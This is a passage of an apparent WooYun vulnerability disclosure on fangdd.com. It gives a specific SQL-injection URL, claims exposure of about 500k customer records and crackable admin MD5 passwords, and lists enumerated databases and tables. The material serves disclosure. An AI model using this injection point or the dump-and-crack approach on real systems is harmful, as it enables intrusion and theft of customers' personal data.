WooYun.org

算是捡漏吧 附上原帖链接 www.wooyun.org/bugs/wooyun-2010-093459
这么庞大的数据库信息置若罔闻，涉及50w的客户信息，手机号码等等，以及管理员数据信息，密码md5解密后可直接登录后台
附上注入点 http://m.fangdd.com/house/loupan/house-detail?house_id=21

管理员信息，密码md5解密后可直接登录后台

大量的数据库：

available databases [68]:
[*] basicdata_pro
[*] data_analysis
[*] fang_paipai_app
[*] fangyun
[*] fdd_400
[*] fdd_400_service
[*] fdd_account
[*] fdd_agent
[*] fdd_agent_crawler
[*] fdd_agent_enterprise
[*] fdd_agent_score
[*] fdd_agent_service
[*] fdd_app_im
[*] fdd_authorize
[*] fdd_basic
[*] fdd_ca
[*] fdd_community
[*] fdd_credits
[*] fdd_crm
[*] fdd_cronjobd
[*] fdd_customer_manager
[*] fdd_customers
[*] fdd_customers_app
[*] fdd_direct
[*] fdd_exception_logs
[*] fdd_fangyuan_luru
[*] fdd_fangyun_third
[*] fdd_fdt_toufang
[*] fdd_file_system
[*] fdd_house_version
[*] fdd_im
[*] fdd_imserver
[*] fdd_jhas
[*] fdd_loupan
[*] fdd_management_report
[*] fdd_mobile_app
[*] fdd_mobile_gray
[*] fdd_monitor
[*] fdd_newhouse_fyb
[*] fdd_newhouse_push
[*] fdd_open
[*] fdd_pay
[*] fdd_push
[*] fdd_report
[*] fdd_second_basic
[*] fdd_second_house
[*] fdd_second_house_bak
[*] fdd_second_sms
[*] fdd_seller
[*] fdd_sms
[*] fdd_statistics
[*] fdd_trade
[*] fdd_user_center
[*] fdd_yun
[*] fdt_wls
[*] information_schema
[*] mysql
[*] mytest
[*] performance_schema
[*] service_misc
[*] sms_fangdd_com
[*] statis_fangdd_com
[*] test
[*] third_zentao_pms
[*] vsftpd_users
[*] www_fangdd_com
[*] www_fangdd_site
[*] xtrabackup_backupfiles

大量客户 经纪人电话号码等信息 不逐一列举

+----------+----------+-----------+------------+-------------+---------------------+--------------+
| trace_id | agent_id | seller_id | project_id | cust_mobile | create_time         | agent_mobile |
+----------+----------+-----------+------------+-------------+---------------------+--------------+
[13:21:29] [WARNING] console output will be trimmed to last 256 rows due to large table size

还有大量的数据
<code>Database: fdd_yun
[93 tables]
+----------------------------------------------+
| yun_abnormal_see |
| yun_abnormal_see_audit |
| yun_abnormal_see_image |
| yun_abnormal_see_log |
| yun_agent_coin_credit_log |
| yun_agent_customer |
| yun_agent_customer_project |
| yun_auto_comment_setting |
| yun_building |
| yun_coin_exchange |
| yun_coin_offer |
| yun_coin_place |
| yun_coin_rule |
| yun_commission_already_hops_records |
| yun_commission_already_partner_records |
| yun_commission_already_records |
| yun_commission_detail |
| yun_commission_detail_belong |
| yun_commission_detail_contact |
| yun_commission_detail_developer |
| yun_commission_detail_hops_developer |
| yun_commission_detail_order |
| yun_commission_detail_partner |
| yun_commission_detail_pay |
| yun_commission_detail_pos |
| yun_commission_detail_pos_unbind |
| yun_commission_hops_settlement |
| yun_commission_partner_settlement |
| yun_commission_pos |
| yun_commission_receive |
| yun_commission_receive_developer |
| yun_commission_receive_hops_developer |
| yun_commission_receive_partner |
| yun_commission_receive_temp |
| yun_commission_recover_hops_records |
| yun_commission_recover_partner_records |
| yun_commission_recover_records |
| yun_commission_refund |
| yun_commission_refund_image |
| yun_commission_settlement |
| yun_commission_settlement_attach |
| yun_commission_settlement_invoice |
| yun_commission_settlement_log |
| yun_commission_should_hops_records |
| yun_commission_should_partner_records |
| yun_commission_should_records |
| yun_custcloud_action_trace |
| yun_customer |
| yun_customer_project |
| yun_deal_record |
| yun_detail_receive_temp |
| yun_developer_refused_log |
| yun_grab_customer |
| yun_guide_active |
| yun_guide_record |
| yun_hops_basic |
| yun_integral |
| yun_integral_log |
| yun_lvdi_cust |
| yun_lvdi_cust_bak |
| yun_marketing_control |
| yun_partner |
| yun_product_finance |
| yun_project_building_head |
| yun_project_flat_instock |
| yun_project_hops |
| yun_project_some_letters |
| yun_project_some_letters_audit_log |
| yun_project_some_letters_log |
| yun_projectnotice |
| yun_projectnotice_image |
| yun_projectnotice_news |
| yun_projectnotice_news_image |
| yun_projectnotice_reward |
| yun_projectnotice_sellpoint |
| yun_projectnotice_settings |
| yun_projectnotice_targetcustomer |
| yun_projectnotice_wechat |
| yun_reward |
| yun_reward_category |
| yun_reward_exchange |
| yun_reward_offer |
| yun_reward_provider |
| yun_sms_template |
| yun_stats_project_hotness |
| yun_subscribe_complain |
| yun_subscribe_complain_customer_group |
| yun_subscribe_complain_file |
| yun_subscribe_complain_log |
| yun_task_lock |
| yun_upgrade_city_whitelist |
| yun_user_feedback |
| yun_user_feedback_comments |
+----------------------------------------------+
Database: fdd_second_house
[142 tables]
+----------------------------------------------+
| TMP_OWNER_ID |
| t_second_house_copy2014-11-27 |
| t_bo_phone |
| t_second_activity |
| t_second_ad |
| t_second_ad_agent |
| t_second_ad_bak |
| t_second_ad_citys |
| t_second_agent |
| t_second_agent_0807 |
| t_second_agent_1918 |
| t_second_agent_account_change_logs |
| t_second_agent_book |
| t_second_agent_collect |
| t_second_agent_deal_tip |
| t_second_agent_device |
| t_second_agent_groupsend |
| t_second_agent_groupsend_push |
| t_second_agent_groupsend_sms |
| t_second_agent_groupsend_time |
| t_second_agent_intermediary |
| t_second_agent_intermediary_0807 |
| t_second_agent_location |
| t_second_agent_login_logs |
| t_second_agent_pianqu_attention |
| t_second_agent_punish |
| t_second_agent_punish_logs |
| t_second_agent_push |
| t_second_agent_remind |
| t_second_agent_statistics |
| t_second_agent_subscribe |
| t_second_agent_subscribe_control |
| t_second_agent_subscribe_logs |
| t_second_agent_subscribe_tip |
| t_second_agent_tip_bill |
| t_second_agent_valuation |
| t_second_agent_valuation_search |
| t_second_all_house |
| t_second_all_house_tmp |
| t_second_all_house_tmp_201518 |
| t_second_all_house_yujuntemp |
| t_second_buyer_collect |
| t_second_buyer_subscribe |
| t_second_buyer_subscribe_agent |
| t_second_buyer_subscribe_logs |
| t_second_buyer_subscribe_trace |
| t_second_buyer_subscriber_trace |
| t_second_call400 |
| t_second_call400_recover |
| t_second_call_record |
| t_second_cell |
| t_second_cell_comment |
| t_second_cell_image |
| t_second_cell_lock |
| t_second_cell_merge_logs |
| t_second_cell_other |
| t_second_cell_station |
| t_second_cell_tags |
| t_second_credit_comment |
| t_second_credit_detail |
| t_second_credit_level |
| t_second_credit_regulation |
| t_second_credit_statistics |
| t_second_credit_statistics_week_key_point |
| t_second_credit_statistics_week_point |
| t_second_credit_statistics_week_total_point |
| t_second_credit_temp_last_month_stat |
| t_second_credit_temp_today_stat |
| t_second_credit_temp_week_stat |
| t_second_credit_temp_yesterday_stat |
| t_second_fdd_message |
| t_second_feedback |
| t_second_flow_task |
| t_second_homebuyer_subscribe |
| t_second_house |
| t_second_house_150114 |
| t_second_house_auto_pass |
| t_second_house_check |
| t_second_house_comment |
| t_second_house_comment_reply |
| t_second_house_copy |
| t_second_house_history |
| t_second_house_image |
| t_second_house_import_temp |
| t_second_house_lookdate |
| t_second_house_looktime |
| t_second_house_opendate |
| t_second_house_pv |
| t_second_house_report_black |
| t_second_house_station |
| t_second_house_statistics |
| t_second_house_statistics_bak |
| t_second_house_status_logs |
| t_second_house_subscribe_deal |
| t_second_house_subscribe_detail |
| t_second_house_tmp_abc |
| t_second_house_unlock |
| t_second_look_house_logs |
| t_second_look_house_statistics |
| t_second_net_agent_push |
| t_second_operate_city |
| t_second_operation_manager |
| t_second_owner |
| t_second_owner_blacklist |
| t_second_owner_device |
| t_second_owner_entrust |
| t_second_owner_login_logs |
| t_second_owner_push |
| t_second_owner_remind |
| t_second_pay_house |
| t_second_pay_house_status_log |
| t_second_redot |
| t_second_reject_empty_look |
| t_second_salesman |
| t_second_salesman_cell |
| t_second_salesman_image |
| t_second_salesman_manager |
| t_second_salesman_section |
| t_second_salesman_section_copy |
| t_second_score_collect |
| t_second_score_data_integrity |
| t_second_score_owner_action |
| t_second_score_rule |
| t_second_share |
| t_second_sms_sent |
| t_second_system_looktime |
| t_second_user_authcode |
| t_second_user_lasttime |
| t_second_user_qrcode |
| t_second_valuation_approval |
| t_second_valuation_comment |
| t_second_valuation_top_record |
| t_second_white |
| t_tips_bar |
| temp_t_second_near_active_agent |
| temp_t_second_near_agent |
| temp_t_second_near_net_agent |
| temp_table |
| tmp_agent_statistics |
| tmp_location1 |
| tmp_location2 |
| tmp_old_repeat_agent |
+----------------------------------------------+
Database: fdd_imserver
[4 tables]
+----------------------------------------------+
| t_chat_group |
| t_chat_message |
| t_group_chat_user |
| t_user |
+----------------------------------------------+
Database: fdd_basic
[21 tables]
+----------------------------------------------+
| t_admin_user |
| t_districts |
| t_districts_copy |
| t_fdd_service_info |
| t_group_menu_relationship |
| t_group_user_relationship |
| t_menu |
| t_menu_copy |
| t_phone_area_code |
| t_redundancy_data |
| t_region_relation_district |
| t_region_sites |
| t_region_sites_detail |
| t_second_region_sites |
| t_sections |
| t_site_configure |
| t_societies |
| t_table_modify |
| t_user |
| t_user_city_relationship |
| t_usergroup |
+----------------------------------------------+
Database: fdd_management_report
[19 tables]
+----------------------------------------------+
| #readme |
| bi_collect_route |
| bi_dim_agent |
| bi_dim_belong |
| bi_dim_date |
| bi_dim_intermediary |
| bi_dim_project |
| bi_dim_subject |
| bi_dim_territory |
| bi_dim_territory_detail |
| bi_fact_cost |
| bi_fact_income |
| bi_fact_intention |
| bi_fact_sets |
| bi_sync_project |
| bi_view_city_month |
| bi_view_profit_statis |
| bi_view_project_operation |
| bi_view_rank_statis |
+----------------------------------------------+
Database: fdd_mobile_gray
[10 tables]
+----------------------------------------------+
| t_app |
| t_app_control |
| t_app_environment |
| t_app_im_dispatch |
| t_app_mobile_info |
| t_app_set_city |
| t_app_set_mobile |
| t_app_version |
| t_im_control |
| t_im_dispatch |
+----------------------------------------------+
Database: mysql
[24 tables]
+----------------------------------------------+
| user |
| columns_priv |
| db |
| event |
| func |
| general_log |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| host |
| ndb_binlog_index |
| plugin |
| proc |
| procs_priv |
| proxies_priv |
| servers |
| slow_log |
| tables_priv |
| time_zone |
| time_zone_leap_second |
| time_zone_name |
| time_zone_transition |
| time_zone_transition_type |
+----------------------------------------------+
Database: basicdata_pro
[10 tables]
+----------------------------------------------+
| basicdata_merge_log |
| basicdata_new_house_region |
| basicdata_operate_log |
| basicdata_region_base |
| basicdata_second_broker_info |
| basicdata_second_cell_image |
| basicdata_second_cell_info |
| basicdata_second_house_region |
| basicdata_second_intermediary |
| basicdata_user |
+----------------------------------------------+
Database: fdd_customers
[33 tables]
+----------------------------------------------+
| #readme |
| app_base |
| app_count_report |
| app_report |
| app_total_report |
| aw_print_record |
| aw_printer_monitor |
| aw_task |
| aw_user |
| t_agent_customer |
| t_agent_customer_project |
| t_agent_customer_project_log |
| t_agent_customer_statis |
| t_app_report |
| t_customer_locations |
| t_customer_project |
| t_customer_traced_records |
| t_customer_traced_records_copy |
| t_customers |
| t_look_cancel_log |
| t_look_print_log |
| t_lvdi_cust |
| t_msg_delay |
| t_other_addcusttoweb |
| t_other_statistics |
| t_sms_delay |
| t_sms_merge |
| t_sms_order |
| t_sms_vcode |
| t_sys_app_set |
| t_uuid_cust_chance |
| t_uuid_cust_project |
| t_uuid_customer |
+----------------------------------------------+
Database: fdd_newhouse_fyb
[19 tables]
+----------------------------------------------+
| T_NEWHOUSE_QRTZ_BLOB_TRIGGERS |
| T_NEWHOUSE_QRTZ_CALENDARS |
| T_NEWHOUSE_QRTZ_CRON_TRIGGERS |
| T_NEWHOUSE_QRTZ_FIRED_TRIGGERS |
| T_NEWHOUSE_QRTZ_JOB_DETAILS |
| T_NEWHOUSE_QRTZ_JOB_LISTENERS |
| T_NEWHOUSE_QRTZ_LOCKS |
| T_NEWHOUSE_QRTZ_PAUSED_TRIGGER_GRPS |
| T_NEWHOUSE_QRTZ_SCHEDULER_STATE |
| T_NEWHOUSE_QRTZ_SIMPLE_TRIGGERS |
| T_NEWHOUSE_QRTZ_TRIGGERS |
| T_NEWHOUSE_QRTZ_TRIGGER_LISTENERS |
| fyb_budget_config |
| fyb_city_target |
| fyb_project_daily_detail |
| fyb_project_monthly_budget |
| fyb_user_login_log |
| fyb_user_topic_request_time |
| temp |
+----------------------------------------------+
Database: fdd_trade
[3 tables]
+----------------------------------------------+
| t_pre_collection |
| t_pre_order |
| t_pre_refund |
+----------------------------------------------+
Database: fdd_im
[4 tables]
+----------------------------------------------+
| t_chatroom |
| t_chatroom_consult |
| t_im_maxseq |
| t_im_message |
+----------------------------------------------+
Database: fdd_fangyun_third
[5 tables]
+----------------------------------------------+
| t_fyprovider_batch |
| t_fyprovider_export_pos |
| t_fyprovider_house |
| t_fyprovider_name |
| t_fyprovider_user |
+----------------------------------------------+
Database: fdd_sms
[21 tables]
+----------------------------------------------+
| #readme |
| t_bs_business |
| t_bs_cmd |
| t_bs_var |
| t_fdd_contact_employee |
| t_receive_content |
| t_sms_receive |
| t_sms_report |
| t_sms_score_receive |
| t_sms_score_send |
| t_sms_score_send_copy_101 |
| t_sms_send |
| t_sms_sent |
| t_sms_status |
| t_sms_template |
| t_sms_up |
| t_sp |
| t_sp_pay |
| t_statis_reply |
| t_sys_configs |
| t_sys_keyvalue |
+----------------------------------------------+
Database: statis_fangdd_com
[13 tables]
+----------------------------------------------+
| colin_tem |
| s_cd |
| s_cd_copy |
| stat_agent_custom_flow |
| stat_software_download_log |
| stat_ttf_lottery |
| stat_ttf_mobile |
| statis_error_log |
| statis_task_config |
| view_stat_agent_custom_flow_by_agents |
| view_stat_agent_custom_flow_by_houses |
| view_stat_agent_custom_flow_logs |
| view_stat_custom_by_stores |
+----------------------------------------------+
Database: fdd_push
[5 tables]
+----------------------------------------------+
| t_push_appserver |
| t_push_custom |
| t_push_failed_msg |
| t_push_msg |
| t_push_user |
+----------------------------------------------+
Database: fdd_customers_app
[12 tables]
+----------------------------------------------+
| fdd_house_statistics |
| t_agent_credit |
| t_agent_credit_v21 |
| t_agent_last_req_time |
| t_invalid_img |
| t_push_commission_android_log |
| t_push_commission_ios_log |
| t_push_grapcust_android_log |
| t_push_grapcust_ios_log |
| t_push_ios_device |
| t_saojie_index_log |
| t_saojie_login_log |
+----------------------------------------------+
Database: data_analysis
[6 tables]
+----------------------------------------------+
| fdd_hd_apply_ex |
| fdd_hd_apply_ex_test |
| fdd_hd_conversion |
| fdd_oc_conversion |
| fdd_phone_record_ex |
| fdd_phone_record_ex_test |
+----------------------------------------------+
Database: vsftpd_users
[2 tables]
+----------------------------------------------+
| accounts_35 |
| accounts_web1 |
+----------------------------------------------+
Database: fdt_wls
[92 tables]
+----------------------------------------------+
| wei_admin |
| wei_admin_panel |
| wei_admin_role |
| wei_admin_role_priv |
| wei_around |
| wei_around_data |
| wei_attachment |
| wei_attachment_index |
| wei_badword |
| wei_block |
| wei_block_history |
| wei_block_priv |
| wei_cache |
| wei_category |
| wei_category_priv |
| wei_collection_content |
| wei_collection_history |
| wei_collection_node |
| wei_collection_program |
| wei_content_check |
| wei_copyfrom |
| wei_datacall |
| wei_dbsource |
| wei_download |
| wei_download_data |
| wei_downservers |
| wei_extend_setting |
| wei_favorite |
| wei_hits |
| wei_housetype |
| wei_housetype_data |
| wei_ipbanned |
| wei_keylink |
| wei_keyword |
| wei_keyword_data |
| wei_linkage |
| wei_log |
| wei_member |
| wei_member_detail |
| wei_member_group |
| wei_member_menu |
| wei_member_verify |
| wei_member_vip |
| wei_menu |
| wei_model |
| wei_model_field |
| wei_module |
| wei_news |
| wei_news_data |
| wei_page |
| wei_pay_account |
| wei_pay_payment |
| wei_pay_spend |
| wei_picture |
| wei_picture_data |
| wei_position |
| wei_position_data |
| wei_poster |
| wei_poster_201410 |
| wei_poster_space |
| wei_project |
| wei_project_data |
| wei_queue |
| wei_real |
| wei_real_data |
| wei_release_point |
| wei_search |
| wei_search_keyword |
| wei_session |
| wei_site |
| wei_special |
| wei_special_c_data |
| wei_special_content |
| wei_sphinx_counter |
| wei_sso_admin |
| wei_sso_applications |
| wei_sso_members |
| wei_sso_messagequeue |
| wei_sso_session |
| wei_sso_settings |
| wei_template_bak |
| wei_times |
| wei_type |
| wei_urlrule |
| wei_video |
| wei_video_content |
| wei_video_data |
| wei_video_store |
| wei_vote_data |
| wei_vote_option |
| wei_vote_subject |
| wei_workflow |
+----------------------------------------------+
Database: fdd_pay
[19 tables]
+----------------------------------------------+
| t_billno |
| t_charge_list |
| t_dic |
| t_fangdd_bank |
| t_fangdd_bill |
| t_freeze_list |
| t_intermedia_bill |
| t_intermedia_user |
| t_merchant_bill |
| t_merchant_user |
| t_personal_bill |
| t_personal_user |
| t_refund_list |
| t_sp |
| t_tran_list |
| t_tran_log |
| t_user_bank_bind |
| t_user_pass |
| t_withdraw_list |
+----------------------------------------------+
Database: fdd_house_version
[7 tables]
+----------------------------------------------+
| #readme |
| fdd_house_flat_version |
| fdd_house_photo_version |
| fdd_house_version |
| fdd_news_version |
| fdd_news_version_copy |
| fdd_select_with_soufun_photo |
+----------------------------------------------+
Database: fdd_agent_score
[12 tables]
+----------------------------------------------+
| fdd_admin |
| fdd_black_list |
| fdd_black_list_tmp |
| fdd_exchange |
| fdd_exchange_item |
| fdd_exchange_item_property |
| fdd_exchange_rule |
| fdd_func |
| fdd_role |
| fdd_sessions |
| fdd_share |
| fdd_weixin_agent |
+----------------------------------------------+
Database: fdd_monitor
[6 tables]
+----------------------------------------------+
| t_node |
| t_server_node |
| t_tcp_node |
| t_user |
| t_user_node |
| t_web_node |
+----------------------------------------------+
Database: fdd_agent_crawler
[4 tables]
+----------------------------------------------+
| fdd_agent_cell_map_info |
| fdd_agent_info |
| t_second_cell |
| tmp |
+----------------------------------------------+
Database: fdd_fangyuan_luru
[5 tables]
+----------------------------------------------+
| t_fyprovider_batch |
| t_fyprovider_cell |
| t_fyprovider_house |
| t_fyprovider_name |
| t_fyprovider_user |
+----------------------------------------------+
Database: fdd_newhouse_push
[14 tables]
+----------------------------------------------+
| t_push_info_0 |
| t_push_info_1 |
| t_push_info_2 |
| t_push_info_3 |
| t_push_info_4 |
| t_push_info_5 |
| t_push_info_6 |
| t_push_info_7 |
| t_push_info_8 |
| t_push_info_9 |
| t_push_product |
| t_push_status |
| t_push_template |
| t_push_user_info_set |
+----------------------------------------------+
Database: www_fangdd_com
[194 tables]
+----------------------------------------------+
| #readme |
| agent_back |
| changchun |
| changzhou |
| fdd_actcode |
| fdd_admin |
| fdd_admin_power_group |
| fdd_agent_cellphone_smscode |
| fdd_android_anget_userlog |
| fdd_android_client_api_configure |
| fdd_android_feedback |
| fdd_android_install |
| fdd_android_uselog |
| fdd_android_user_info |
| fdd_apply |
| fdd_apush_acrashlog |
| fdd_apush_icrashlog |
| fdd_apush_ios_device |
| fdd_base_city |
| fdd_base_city_fields |
| fdd_base_comment |
| fdd_base_section |
| fdd_bbs_access |
| fdd_bbs_board |
| fdd_bbs_config |
| fdd_bbs_member_group |
| fdd_bbs_member_group_relation |
| fdd_bbs_post |
| fdd_bbs_post_body |
| fdd_bbs_reply |
| fdd_broadcast |
| fdd_broadcast_message |
| fdd_broadcast_tmp |
| fdd_comment |
| fdd_community |
| fdd_community_trend |
| fdd_community_wytype |
| fdd_config |
| fdd_credit_comment |
| fdd_credit_detail |
| fdd_credit_level |
| fdd_credit_regulation |
| fdd_credit_statistics |
| fdd_credit_statistics_week_key_point |
| fdd_credit_statistics_week_point |
| fdd_credit_statistics_week_total_point |
| fdd_credit_temp_last_month_stat |
| fdd_credit_temp_today_stat |
| fdd_credit_temp_week_stat |
| fdd_credit_temp_yesterday_stat |
| fdd_field_modify |
| fdd_files |
| fdd_global_fields |
| fdd_guestbook |
| fdd_house |
| fdd_house_agent_recommend |
| fdd_house_agent_recommend_log |
| fdd_house_compare |
| fdd_house_developers |
| fdd_house_disclosure |
| fdd_house_evaluating |
| fdd_house_fe